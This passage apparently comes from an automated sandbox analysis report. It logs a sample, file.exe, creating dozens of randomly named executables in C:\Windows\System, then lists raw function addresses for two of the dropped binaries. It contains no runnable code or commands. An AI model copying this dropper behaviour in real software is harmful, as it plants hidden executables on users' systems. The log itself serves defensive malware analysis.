Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\oOHCceb.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\ftaGKPi.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\VjcJtJr.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\lRTHLDQ.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\omINOHt.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\cnGOfUH.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\sbbttaf.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\nCVveuw.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\gVfgQyo.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\OiAlLTl.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\huXCBRl.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\CeAhWuy.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\opgybbn.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\jJuqmTD.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\Snoufsk.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\omPtYtp.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\VmAUPcu.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\TSstTNS.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\YBaFQpn.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\bcccWbg.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\aTeTpsO.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\AJhAJvH.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\PBBVzvE.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\mLLNiiD.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\fynesIL.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\oWOOLuw.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\eKqmfpV.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\YbzOLPu.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\VrjrWtX.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\TOYLgcy.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\udBImQF.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\JSZpIfz.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\YcKHCNJ.exe	Jump to behavior

Source: C:\Windows\System\xIpouRJ.exe	Code function: 4_2_00007FF6668F1FF0	4_2_00007FF6668F1FF0
Source: C:\Windows\System\xIpouRJ.exe	Code function: 4_2_00007FF6668F8FF0	4_2_00007FF6668F8FF0
Source: C:\Windows\System\xIpouRJ.exe	Code function: 4_2_00007FF66683CFF0	4_2_00007FF66683CFF0
Source: C:\Windows\System\xIpouRJ.exe	Code function: 4_2_00007FF6668E77E0	4_2_00007FF6668E77E0
Source: C:\Windows\System\xIpouRJ.exe	Code function: 4_2_00007FF6668097E0	4_2_00007FF6668097E0
Source: C:\Windows\System\xIpouRJ.exe	Code function: 4_2_00007FF6668ED010	4_2_00007FF6668ED010
Source: C:\Windows\System\xIpouRJ.exe	Code function: 4_2_00007FF666837010	4_2_00007FF666837010
Source: C:\Windows\System\xIpouRJ.exe	Code function: 4_2_00007FF66681A810	4_2_00007FF66681A810
Source: C:\Windows\System\xIpouRJ.exe	Code function: 4_2_00007FF6668F2830	4_2_00007FF6668F2830
Source: C:\Windows\System\xIpouRJ.exe	Code function: 4_2_00007FF66682B830	4_2_00007FF66682B830
Source: C:\Windows\System\xIpouRJ.exe	Code function: 4_2_00007FF6667FD030	4_2_00007FF6667FD030
Source: C:\Windows\System\xIpouRJ.exe	Code function: 4_2_00007FF666838020	4_2_00007FF666838020
Source: C:\Windows\System\xIpouRJ.exe	Code function: 4_2_00007FF6668E3740	4_2_00007FF6668E3740
Source: C:\Windows\System\xIpouRJ.exe	Code function: 4_2_00007FF666824740	4_2_00007FF666824740
Source: C:\Windows\System\xIpouRJ.exe	Code function: 4_2_00007FF66680C770	4_2_00007FF66680C770
Source: C:\Windows\System\xIpouRJ.exe	Code function: 4_2_00007FF6668EDF60	4_2_00007FF6668EDF60
Source: C:\Windows\System\xIpouRJ.exe	Code function: 4_2_00007FF6667F2F80	4_2_00007FF6667F2F80
Source: C:\Windows\System\xIpouRJ.exe	Code function: 4_2_00007FF666829F90	4_2_00007FF666829F90
Source: C:\Windows\System\xIpouRJ.exe	Code function: 4_2_00007FF66683B790	4_2_00007FF66683B790
Source: C:\Windows\System\xIpouRJ.exe	Code function: 4_2_00007FF6668F3780	4_2_00007FF6668F3780
Source: C:\Windows\System\xIpouRJ.exe	Code function: 4_2_00007FF6668E6F80	4_2_00007FF6668E6F80
Source: C:\Windows\System\xIpouRJ.exe	Code function: 4_2_00007FF6668EC7B0	4_2_00007FF6668EC7B0
Source: C:\Windows\System\xIpouRJ.exe	Code function: 4_2_00007FF66683A7B0	4_2_00007FF66683A7B0
Source: C:\Windows\System\xIpouRJ.exe	Code function: 4_2_00007FF6668D58D0	4_2_00007FF6668D58D0
Source: C:\Windows\System\xIpouRJ.exe	Code function: 4_2_00007FF6668DD0F0	4_2_00007FF6668DD0F0
Source: C:\Windows\System\xIpouRJ.exe	Code function: 4_2_00007FF6667F70F0	4_2_00007FF6667F70F0
Source: C:\Windows\System\xIpouRJ.exe	Code function: 4_2_00007FF6668FF910	4_2_00007FF6668FF910
Source: C:\Windows\System\xIpouRJ.exe	Code function: 4_2_00007FF666904100	4_2_00007FF666904100
Source: C:\Windows\System\xIpouRJ.exe	Code function: 4_2_00007FF666904128	4_2_00007FF666904128
Source: C:\Windows\System\xIpouRJ.exe	Code function: 4_2_00007FF666827120	4_2_00007FF666827120
Source: C:\Windows\System\xIpouRJ.exe	Code function: 4_2_00007FF666828120	4_2_00007FF666828120
Source: C:\Windows\System\xIpouRJ.exe	Code function: 4_2_00007FF6668F7840	4_2_00007FF6668F7840
Source: C:\Windows\System\xIpouRJ.exe	Code function: 4_2_00007FF66682A870	4_2_00007FF66682A870
Source: C:\Windows\System\xIpouRJ.exe	Code function: 4_2_00007FF66681D860	4_2_00007FF66681D860
Source: C:\Windows\System\xIpouRJ.exe	Code function: 4_2_00007FF6668F80A0	4_2_00007FF6668F80A0
Source: C:\Windows\System\xIpouRJ.exe	Code function: 4_2_00007FF66680D0A0	4_2_00007FF66680D0A0
Source: C:\Windows\System\xIpouRJ.exe	Code function: 4_2_00007FF6668F45D0	4_2_00007FF6668F45D0
Source: C:\Windows\System\xIpouRJ.exe	Code function: 4_2_00007FF666823610	4_2_00007FF666823610
Source: C:\Windows\System\xIpouRJ.exe	Code function: 4_2_00007FF6668D2E20	4_2_00007FF6668D2E20
Source: C:\Windows\System\xIpouRJ.exe	Code function: 4_2_00007FF666851E20	4_2_00007FF666851E20
Source: C:\Windows\System\xIpouRJ.exe	Code function: 4_2_00007FF6668E9550	4_2_00007FF6668E9550
Source: C:\Windows\System\xIpouRJ.exe	Code function: 4_2_00007FF666819540	4_2_00007FF666819540
Source: C:\Windows\System\xIpouRJ.exe	Code function: 4_2_00007FF6668F3D60	4_2_00007FF6668F3D60
Source: C:\Windows\System\xIpouRJ.exe	Code function: 4_2_00007FF666826D90	4_2_00007FF666826D90
Source: C:\Windows\System\xIpouRJ.exe	Code function: 4_2_00007FF6668EED80	4_2_00007FF6668EED80
Source: C:\Windows\System\xIpouRJ.exe	Code function: 4_2_00007FF6667FED90	4_2_00007FF6667FED90
Source: C:\Windows\System\xIpouRJ.exe	Code function: 4_2_00007FF666800D90	4_2_00007FF666800D90
Source: C:\Windows\System\xIpouRJ.exe	Code function: 4_2_00007FF666821DA0	4_2_00007FF666821DA0
Source: C:\Windows\System\xIpouRJ.exe	Code function: 4_2_00007FF66680E700	4_2_00007FF66680E700
Source: C:\Windows\System\xIpouRJ.exe	Code function: 4_2_00007FF6668E8730	4_2_00007FF6668E8730
Source: C:\Windows\System\xIpouRJ.exe	Code function: 4_2_00007FF66681B730	4_2_00007FF66681B730
Source: C:\Windows\System\xIpouRJ.exe	Code function: 4_2_00007FF66680EE40	4_2_00007FF66680EE40
Source: C:\Windows\System\xIpouRJ.exe	Code function: 4_2_00007FF666819E70	4_2_00007FF666819E70
Source: C:\Windows\System\xIpouRJ.exe	Code function: 4_2_00007FF666839EB0	4_2_00007FF666839EB0
Source: C:\Windows\System\xIpouRJ.exe	Code function: 4_2_00007FF666818EB0	4_2_00007FF666818EB0
Source: C:\Windows\System\xIpouRJ.exe	Code function: 4_2_00007FF6668FF3C0	4_2_00007FF6668FF3C0
Source: C:\Windows\System\xIpouRJ.exe	Code function: 4_2_00007FF6668D4BC0	4_2_00007FF6668D4BC0
Source: C:\Windows\System\xIpouRJ.exe	Code function: 4_2_00007FF666809BE0	4_2_00007FF666809BE0
Source: C:\Windows\System\xIpouRJ.exe	Code function: 4_2_00007FF666814410	4_2_00007FF666814410
Source: C:\Windows\System\xIpouRJ.exe	Code function: 4_2_00007FF666811420	4_2_00007FF666811420
Source: C:\Windows\System\xIpouRJ.exe	Code function: 4_2_00007FF6667F7350	4_2_00007FF6667F7350
Source: C:\Windows\System\xIpouRJ.exe	Code function: 4_2_00007FF6668F6340	4_2_00007FF6668F6340
Source: C:\Windows\System\xIpouRJ.exe	Code function: 4_2_00007FF66680FB80	4_2_00007FF66680FB80
Source: C:\Windows\System\xIpouRJ.exe	Code function: 4_2_00007FF666826B80	4_2_00007FF666826B80
Source: C:\Windows\System\xIpouRJ.exe	Code function: 4_2_00007FF6668373A0	4_2_00007FF6668373A0
Source: C:\Windows\System\xIpouRJ.exe	Code function: 4_2_00007FF6668EFCD0	4_2_00007FF6668EFCD0
Source: C:\Windows\System\xIpouRJ.exe	Code function: 4_2_00007FF6668DD4D0	4_2_00007FF6668DD4D0
Source: C:\Windows\System\xIpouRJ.exe	Code function: 4_2_00007FF6668E8CF0	4_2_00007FF6668E8CF0
Source: C:\Windows\System\xIpouRJ.exe	Code function: 4_2_00007FF6668534B4	4_2_00007FF6668534B4
Source: C:\Windows\System\xIpouRJ.exe	Code function: 4_2_00007FF666808CF0	4_2_00007FF666808CF0
Source: C:\Windows\System\xIpouRJ.exe	Code function: 4_2_00007FF6668CBD10	4_2_00007FF6668CBD10
Source: C:\Windows\System\xIpouRJ.exe	Code function: 4_2_00007FF66680CD10	4_2_00007FF66680CD10
Source: C:\Windows\System\xIpouRJ.exe	Code function: 4_2_00007FF66680DD10	4_2_00007FF66680DD10
Source: C:\Windows\System\xIpouRJ.exe	Code function: 4_2_00007FF666821500	4_2_00007FF666821500
Source: C:\Windows\System\xIpouRJ.exe	Code function: 4_2_00007FF6668C9D30	4_2_00007FF6668C9D30
Source: C:\Windows\System\xIpouRJ.exe	Code function: 4_2_00007FF666820530	4_2_00007FF666820530
Source: C:\Windows\System\xIpouRJ.exe	Code function: 4_2_00007FF6668F5520	4_2_00007FF6668F5520
Source: C:\Windows\System\xIpouRJ.exe	Code function: 4_2_00007FF6668EE520	4_2_00007FF6668EE520
Source: C:\Windows\System\xIpouRJ.exe	Code function: 4_2_00007FF6668B6D1C	4_2_00007FF6668B6D1C
Source: C:\Windows\System\xIpouRJ.exe	Code function: 4_2_00007FF6668E4C50	4_2_00007FF6668E4C50
Source: C:\Windows\System\xIpouRJ.exe	Code function: 4_2_00007FF666811C50	4_2_00007FF666811C50
Source: C:\Windows\System\xIpouRJ.exe	Code function: 4_2_00007FF666820C40	4_2_00007FF666820C40
Source: C:\Windows\System\xIpouRJ.exe	Code function: 4_2_00007FF666904470	4_2_00007FF666904470
Source: C:\Windows\System\xIpouRJ.exe	Code function: 4_2_00007FF666836C70	4_2_00007FF666836C70
Source: C:\Windows\System\xIpouRJ.exe	Code function: 4_2_00007FF666810460	4_2_00007FF666810460
Source: C:\Windows\System\xIpouRJ.exe	Code function: 4_2_00007FF6668E3490	4_2_00007FF6668E3490
Source: C:\Windows\System\xIpouRJ.exe	Code function: 4_2_00007FF666812C80	4_2_00007FF666812C80
Source: C:\Windows\System\xIpouRJ.exe	Code function: 4_2_00007FF6668EA4A0	4_2_00007FF6668EA4A0
Source: C:\Windows\System\xIpouRJ.exe	Code function: 4_2_00007FF6668E3CA0	4_2_00007FF6668E3CA0
Source: C:\Windows\System\xIpouRJ.exe	Code function: 4_2_00007FF6668E69C0	4_2_00007FF6668E69C0
Source: C:\Windows\System\xIpouRJ.exe	Code function: 4_2_00007FF6668359C0	4_2_00007FF6668359C0
Source: C:\Windows\System\xIpouRJ.exe	Code function: 4_2_00007FF6668E39F0	4_2_00007FF6668E39F0
Source: C:\Windows\System\xIpouRJ.exe	Code function: 4_2_00007FF6668FC210	4_2_00007FF6668FC210
Source: C:\Windows\System\xIpouRJ.exe	Code function: 4_2_00007FF6668E5210	4_2_00007FF6668E5210
Source: C:\Windows\System\xIpouRJ.exe	Code function: 4_2_00007FF6668EC200	4_2_00007FF6668EC200
Source: C:\Windows\System\xIpouRJ.exe	Code function: 4_2_00007FF6668F1A30	4_2_00007FF6668F1A30
Source: C:\Windows\System\xIpouRJ.exe	Code function: 4_2_00007FF666820230	4_2_00007FF666820230
Source: C:\Windows\System\xIpouRJ.exe	Code function: 4_2_00007FF666838A20	4_2_00007FF666838A20
Source: C:\Windows\System\xIpouRJ.exe	Code function: 4_2_00007FF666853165	4_2_00007FF666853165
Source: C:\Windows\System\xIpouRJ.exe	Code function: 4_2_00007FF66680C980	4_2_00007FF66680C980
Source: C:\Windows\System\xIpouRJ.exe	Code function: 4_2_00007FF666822AC0	4_2_00007FF666822AC0
Source: C:\Windows\System\xIpouRJ.exe	Code function: 4_2_00007FF6667F92E0	4_2_00007FF6667F92E0
Source: C:\Windows\System\xIpouRJ.exe	Code function: 4_2_00007FF6668F5AE0	4_2_00007FF6668F5AE0
Source: C:\Windows\System\xIpouRJ.exe	Code function: 4_2_00007FF6668F0AE0	4_2_00007FF6668F0AE0
Source: C:\Windows\System\xIpouRJ.exe	Code function: 4_2_00007FF666828B10	4_2_00007FF666828B10
Source: C:\Windows\System\xIpouRJ.exe	Code function: 4_2_00007FF6668EAA50	4_2_00007FF6668EAA50
Source: C:\Windows\System\xIpouRJ.exe	Code function: 4_2_00007FF66680BA40	4_2_00007FF66680BA40
Source: C:\Windows\System\xIpouRJ.exe	Code function: 4_2_00007FF6668FCA70	4_2_00007FF6668FCA70
Source: C:\Windows\System\xIpouRJ.exe	Code function: 4_2_00007FF6668FE270	4_2_00007FF6668FE270
Source: C:\Windows\System\xIpouRJ.exe	Code function: 4_2_00007FF6668E5A70	4_2_00007FF6668E5A70
Source: C:\Windows\System\xIpouRJ.exe	Code function: 4_2_00007FF666818A70	4_2_00007FF666818A70
Source: C:\Windows\System\xIpouRJ.exe	Code function: 4_2_00007FF6668F7290	4_2_00007FF6668F7290
Source: C:\Windows\System\xIpouRJ.exe	Code function: 4_2_00007FF6668F0280	4_2_00007FF6668F0280
Source: C:\Windows\System\xIpouRJ.exe	Code function: 4_2_00007FF6668EB2B0	4_2_00007FF6668EB2B0
Source: C:\Windows\System\ERbKWDm.exe	Code function: 5_2_00007FF67DBDE700	5_2_00007FF67DBDE700
Source: C:\Windows\System\ERbKWDm.exe	Code function: 5_2_00007FF67DCB8730	5_2_00007FF67DCB8730
Source: C:\Windows\System\ERbKWDm.exe	Code function: 5_2_00007FF67DBEB730	5_2_00007FF67DBEB730
Source: C:\Windows\System\ERbKWDm.exe	Code function: 5_2_00007FF67DC09EB0	5_2_00007FF67DC09EB0
Source: C:\Windows\System\ERbKWDm.exe	Code function: 5_2_00007FF67DBE8EB0	5_2_00007FF67DBE8EB0
Source: C:\Windows\System\ERbKWDm.exe	Code function: 5_2_00007FF67DBDEE40	5_2_00007FF67DBDEE40
Source: C:\Windows\System\ERbKWDm.exe	Code function: 5_2_00007FF67DBE9E70	5_2_00007FF67DBE9E70
Source: C:\Windows\System\ERbKWDm.exe	Code function: 5_2_00007FF67DBF3610	5_2_00007FF67DBF3610
Source: C:\Windows\System\ERbKWDm.exe	Code function: 5_2_00007FF67DC875F8	5_2_00007FF67DC875F8
Source: C:\Windows\System\ERbKWDm.exe	Code function: 5_2_00007FF67DC91E04	5_2_00007FF67DC91E04
Source: C:\Windows\System\ERbKWDm.exe	Code function: 5_2_00007FF67DCA2E20	5_2_00007FF67DCA2E20
Source: C:\Windows\System\ERbKWDm.exe	Code function: 5_2_00007FF67DC21E20	5_2_00007FF67DC21E20
Source: C:\Windows\System\ERbKWDm.exe	Code function: 5_2_00007FF67DCC45D0	5_2_00007FF67DCC45D0
Source: C:\Windows\System\ERbKWDm.exe	Code function: 5_2_00007FF67DC6FDEC	5_2_00007FF67DC6FDEC
Source: C:\Windows\System\ERbKWDm.exe	Code function: 5_2_00007FF67DCBED80	5_2_00007FF67DCBED80
Source: C:\Windows\System\ERbKWDm.exe	Code function: 5_2_00007FF67DBF6D90	5_2_00007FF67DBF6D90
Source: C:\Windows\System\ERbKWDm.exe	Code function: 5_2_00007FF67DBCED90	5_2_00007FF67DBCED90
Source: C:\Windows\System\ERbKWDm.exe	Code function: 5_2_00007FF67DBD0D90	5_2_00007FF67DBD0D90
Source: C:\Windows\System\ERbKWDm.exe	Code function: 5_2_00007FF67DBF1DA0	5_2_00007FF67DBF1DA0
Source: C:\Windows\System\ERbKWDm.exe	Code function: 5_2_00007FF67DCB9550	5_2_00007FF67DCB9550
Source: C:\Windows\System\ERbKWDm.exe	Code function: 5_2_00007FF67DBE9540	5_2_00007FF67DBE9540
Source: C:\Windows\System\ERbKWDm.exe	Code function: 5_2_00007FF67DCC3D60	5_2_00007FF67DCC3D60
Source: C:\Windows\System\ERbKWDm.exe	Code function: 5_2_00007FF67DCCF910	5_2_00007FF67DCCF910
Source: C:\Windows\System\ERbKWDm.exe	Code function: 5_2_00007FF67DCD4100	5_2_00007FF67DCD4100
Source: C:\Windows\System\ERbKWDm.exe	Code function: 5_2_00007FF67DBF7120	5_2_00007FF67DBF7120
Source: C:\Windows\System\ERbKWDm.exe	Code function: 5_2_00007FF67DBF8120	5_2_00007FF67DBF8120
Source: C:\Windows\System\ERbKWDm.exe	Code function: 5_2_00007FF67DCA58D0	5_2_00007FF67DCA58D0
Source: C:\Windows\System\ERbKWDm.exe	Code function: 5_2_00007FF67DCD40B8	5_2_00007FF67DCD40B8
Source: C:\Windows\System\ERbKWDm.exe	Code function: 5_2_00007FF67DCAD0F0	5_2_00007FF67DCAD0F0
Source: C:\Windows\System\ERbKWDm.exe	Code function: 5_2_00007FF67DBC70F0	5_2_00007FF67DBC70F0
Source: C:\Windows\System\ERbKWDm.exe	Code function: 5_2_00007FF67DBDD0A0	5_2_00007FF67DBDD0A0
Source: C:\Windows\System\ERbKWDm.exe	Code function: 5_2_00007FF67DCC80A0	5_2_00007FF67DCC80A0
Source: C:\Windows\System\ERbKWDm.exe	Code function: 5_2_00007FF67DCD4098	5_2_00007FF67DCD4098
Source: C:\Windows\System\ERbKWDm.exe	Code function: 5_2_00007FF67DCC7840	5_2_00007FF67DCC7840
Source: C:\Windows\System\ERbKWDm.exe	Code function: 5_2_00007FF67DBED860	5_2_00007FF67DBED860
Source: C:\Windows\System\ERbKWDm.exe	Code function: 5_2_00007FF67DCD4068	5_2_00007FF67DCD4068
Source: C:\Windows\System\ERbKWDm.exe	Code function: 5_2_00007FF67DBFA870	5_2_00007FF67DBFA870
Source: C:\Windows\System\ERbKWDm.exe	Code function: 5_2_00007FF67DCBD010	5_2_00007FF67DCBD010
Source: C:\Windows\System\ERbKWDm.exe	Code function: 5_2_00007FF67DBEA810	5_2_00007FF67DBEA810
Source: C:\Windows\System\ERbKWDm.exe	Code function: 5_2_00007FF67DC07010	5_2_00007FF67DC07010
Source: C:\Windows\System\ERbKWDm.exe	Code function: 5_2_00007FF67DCC2830	5_2_00007FF67DCC2830
Source: C:\Windows\System\ERbKWDm.exe	Code function: 5_2_00007FF67DC08020	5_2_00007FF67DC08020
Source: C:\Windows\System\ERbKWDm.exe	Code function: 5_2_00007FF67DBFB830	5_2_00007FF67DBFB830
Source: C:\Windows\System\ERbKWDm.exe	Code function: 5_2_00007FF67DBCD030	5_2_00007FF67DBCD030
Source: C:\Windows\System\ERbKWDm.exe	Code function: 5_2_00007FF67DCC1FF0	5_2_00007FF67DCC1FF0
Source: C:\Windows\System\ERbKWDm.exe	Code function: 5_2_00007FF67DCC8FF0	5_2_00007FF67DCC8FF0
Source: C:\Windows\System\ERbKWDm.exe	Code function: 5_2_00007FF67DBD97E0	5_2_00007FF67DBD97E0
Source: C:\Windows\System\ERbKWDm.exe	Code function: 5_2_00007FF67DC0CFF0	5_2_00007FF67DC0CFF0
Source: C:\Windows\System\ERbKWDm.exe	Code function: 5_2_00007FF67DCB77E0	5_2_00007FF67DCB77E0
Source: C:\Windows\System\ERbKWDm.exe	Code function: 5_2_00007FF67DBC2F80	5_2_00007FF67DBC2F80
Source: C:\Windows\System\ERbKWDm.exe	Code function: 5_2_00007FF67DC0B790	5_2_00007FF67DC0B790
Source: C:\Windows\System\ERbKWDm.exe	Code function: 5_2_00007FF67DCB6F80	5_2_00007FF67DCB6F80
Source: C:\Windows\System\ERbKWDm.exe	Code function: 5_2_00007FF67DCC3780	5_2_00007FF67DCC3780
Source: C:\Windows\System\ERbKWDm.exe	Code function: 5_2_00007FF67DBF9F90	5_2_00007FF67DBF9F90
Source: C:\Windows\System\ERbKWDm.exe	Code function: 5_2_00007FF67DCBC7B0	5_2_00007FF67DCBC7B0
Source: C:\Windows\System\ERbKWDm.exe	Code function: 5_2_00007FF67DC0A7B0	5_2_00007FF67DC0A7B0
Source: C:\Windows\System\ERbKWDm.exe	Code function: 5_2_00007FF67DC76FA4	5_2_00007FF67DC76FA4
Source: C:\Windows\System\ERbKWDm.exe	Code function: 5_2_00007FF67DBF4740	5_2_00007FF67DBF4740
Source: C:\Windows\System\ERbKWDm.exe	Code function: 5_2_00007FF67DCB3740	5_2_00007FF67DCB3740
Source: C:\Windows\System\ERbKWDm.exe	Code function: 5_2_00007FF67DCBDF60	5_2_00007FF67DCBDF60
Source: C:\Windows\System\ERbKWDm.exe	Code function: 5_2_00007FF67DBDC770	5_2_00007FF67DBDC770
Source: C:\Windows\System\ERbKWDm.exe	Code function: 5_2_00007FF67DBF8B10	5_2_00007FF67DBF8B10
Source: C:\Windows\System\ERbKWDm.exe	Code function: 5_2_00007FF67DC8CB2C	5_2_00007FF67DC8CB2C
Source: C:\Windows\System\ERbKWDm.exe	Code function: 5_2_00007FF67DBF2AC0	5_2_00007FF67DBF2AC0
Source: C:\Windows\System\ERbKWDm.exe	Code function: 5_2_00007FF67DCD42D0	5_2_00007FF67DCD42D0
Source: C:\Windows\System\ERbKWDm.exe	Code function: 5_2_00007FF67DBC92E0	5_2_00007FF67DBC92E0
Source: C:\Windows\System\ERbKWDm.exe	Code function: 5_2_00007FF67DCC5AE0	5_2_00007FF67DCC5AE0
Source: C:\Windows\System\ERbKWDm.exe	Code function: 5_2_00007FF67DCC0AE0	5_2_00007FF67DCC0AE0
Source: C:\Windows\System\ERbKWDm.exe	Code function: 5_2_00007FF67DCC7290	5_2_00007FF67DCC7290
Source: C:\Windows\System\ERbKWDm.exe	Code function: 5_2_00007FF67DCC0280	5_2_00007FF67DCC0280
Source: C:\Windows\System\ERbKWDm.exe	Code function: 5_2_00007FF67DCBB2B0	5_2_00007FF67DCBB2B0
Source: C:\Windows\System\ERbKWDm.exe	Code function: 5_2_00007FF67DCBAA50	5_2_00007FF67DCBAA50
Source: C:\Windows\System\ERbKWDm.exe	Code function: 5_2_00007FF67DBDBA40	5_2_00007FF67DBDBA40
Source: C:\Windows\System\ERbKWDm.exe	Code function: 5_2_00007FF67DCB5A70	5_2_00007FF67DCB5A70
Source: C:\Windows\System\ERbKWDm.exe	Code function: 5_2_00007FF67DCCCA70	5_2_00007FF67DCCCA70
Source: C:\Windows\System\ERbKWDm.exe	Code function: 5_2_00007FF67DCCE270	5_2_00007FF67DCCE270
Source: C:\Windows\System\ERbKWDm.exe	Code function: 5_2_00007FF67DBE8A70	5_2_00007FF67DBE8A70
Source: C:\Windows\System\ERbKWDm.exe	Code function: 5_2_00007FF67DCB5210	5_2_00007FF67DCB5210
Source: C:\Windows\System\ERbKWDm.exe	Code function: 5_2_00007FF67DCCC210	5_2_00007FF67DCCC210
Source: C:\Windows\System\ERbKWDm.exe	Code function: 5_2_00007FF67DCBC200	5_2_00007FF67DCBC200
Source: C:\Windows\System\ERbKWDm.exe	Code function: 5_2_00007FF67DC841F8	5_2_00007FF67DC841F8
Source: C:\Windows\System\ERbKWDm.exe	Code function: 5_2_00007FF67DCC1A30	5_2_00007FF67DCC1A30
Source: C:\Windows\System\ERbKWDm.exe	Code function: 5_2_00007FF67DBF0230	5_2_00007FF67DBF0230
Source: C:\Windows\System\ERbKWDm.exe	Code function: 5_2_00007FF67DC08A20	5_2_00007FF67DC08A20
Source: C:\Windows\System\ERbKWDm.exe	Code function: 5_2_00007FF67DC059C0	5_2_00007FF67DC059C0
Source: C:\Windows\System\ERbKWDm.exe	Code function: 5_2_00007FF67DCB69C0	5_2_00007FF67DCB69C0
Source: C:\Windows\System\ERbKWDm.exe	Code function: 5_2_00007FF67DCB39F0	5_2_00007FF67DCB39F0
Source: C:\Windows\System\ERbKWDm.exe	Code function: 5_2_00007FF67DBDC980	5_2_00007FF67DBDC980
Source: C:\Windows\System\ERbKWDm.exe	Code function: 5_2_00007FF67DC23165	5_2_00007FF67DC23165
Source: C:\Windows\System\ERbKWDm.exe	Code function: 5_2_00007FF67DC9BD10	5_2_00007FF67DC9BD10
Source: C:\Windows\System\ERbKWDm.exe	Code function: 5_2_00007FF67DBF1500	5_2_00007FF67DBF1500
Source: C:\Windows\System\ERbKWDm.exe	Code function: 5_2_00007FF67DBDCD10	5_2_00007FF67DBDCD10
Source: C:\Windows\System\ERbKWDm.exe	Code function: 5_2_00007FF67DBDDD10	5_2_00007FF67DBDDD10
Source: C:\Windows\System\ERbKWDm.exe	Code function: 5_2_00007FF67DC99D30	5_2_00007FF67DC99D30
Source: C:\Windows\System\ERbKWDm.exe	Code function: 5_2_00007FF67DC7AD30	5_2_00007FF67DC7AD30
Source: C:\Windows\System\ERbKWDm.exe	Code function: 5_2_00007FF67DCC5520	5_2_00007FF67DCC5520
Source: C:\Windows\System\ERbKWDm.exe	Code function: 5_2_00007FF67DCBE520	5_2_00007FF67DCBE520
Source: C:\Windows\System\ERbKWDm.exe	Code function: 5_2_00007FF67DBF0530	5_2_00007FF67DBF0530
Source: C:\Windows\System\ERbKWDm.exe	Code function: 5_2_00007FF67DCAD4D0	5_2_00007FF67DCAD4D0
Source: C:\Windows\System\ERbKWDm.exe	Code function: 5_2_00007FF67DCBFCD0	5_2_00007FF67DCBFCD0
Source: C:\Windows\System\ERbKWDm.exe	Code function: 5_2_00007FF67DCB8CF0	5_2_00007FF67DCB8CF0
Source: C:\Windows\System\ERbKWDm.exe	Code function: 5_2_00007FF67DC234B4	5_2_00007FF67DC234B4
Source: C:\Windows\System\ERbKWDm.exe	Code function: 5_2_00007FF67DBD8CF0	5_2_00007FF67DBD8CF0
Source: C:\Windows\System\ERbKWDm.exe	Code function: 5_2_00007FF67DCB3490	5_2_00007FF67DCB3490
Source: C:\Windows\System\ERbKWDm.exe	Code function: 5_2_00007FF67DBE2C80	5_2_00007FF67DBE2C80
Source: C:\Windows\System\ERbKWDm.exe	Code function: 5_2_00007FF67DCB3CA0	5_2_00007FF67DCB3CA0
Source: C:\Windows\System\ERbKWDm.exe	Code function: 5_2_00007FF67DCBA4A0	5_2_00007FF67DCBA4A0
Source: C:\Windows\System\ERbKWDm.exe	Code function: 5_2_00007FF67DCB4C50	5_2_00007FF67DCB4C50
Source: C:\Windows\System\ERbKWDm.exe	Code function: 5_2_00007FF67DBF0C40	5_2_00007FF67DBF0C40
Source: C:\Windows\System\ERbKWDm.exe	Code function: 5_2_00007FF67DBE1C50	5_2_00007FF67DBE1C50
Source: C:\Windows\System\ERbKWDm.exe	Code function: 5_2_00007FF67DCD4470	5_2_00007FF67DCD4470
Source: C:\Windows\System\ERbKWDm.exe	Code function: 5_2_00007FF67DBE0460	5_2_00007FF67DBE0460
Source: C:\Windows\System\ERbKWDm.exe	Code function: 5_2_00007FF67DCD4468	5_2_00007FF67DCD4468
Source: C:\Windows\System\ERbKWDm.exe	Code function: 5_2_00007FF67DC06C70	5_2_00007FF67DC06C70
Source: C:\Windows\System\ERbKWDm.exe	Code function: 5_2_00007FF67DBE4410	5_2_00007FF67DBE4410
Source: C:\Windows\System\ERbKWDm.exe	Code function: 5_2_00007FF67DBE1420	5_2_00007FF67DBE1420
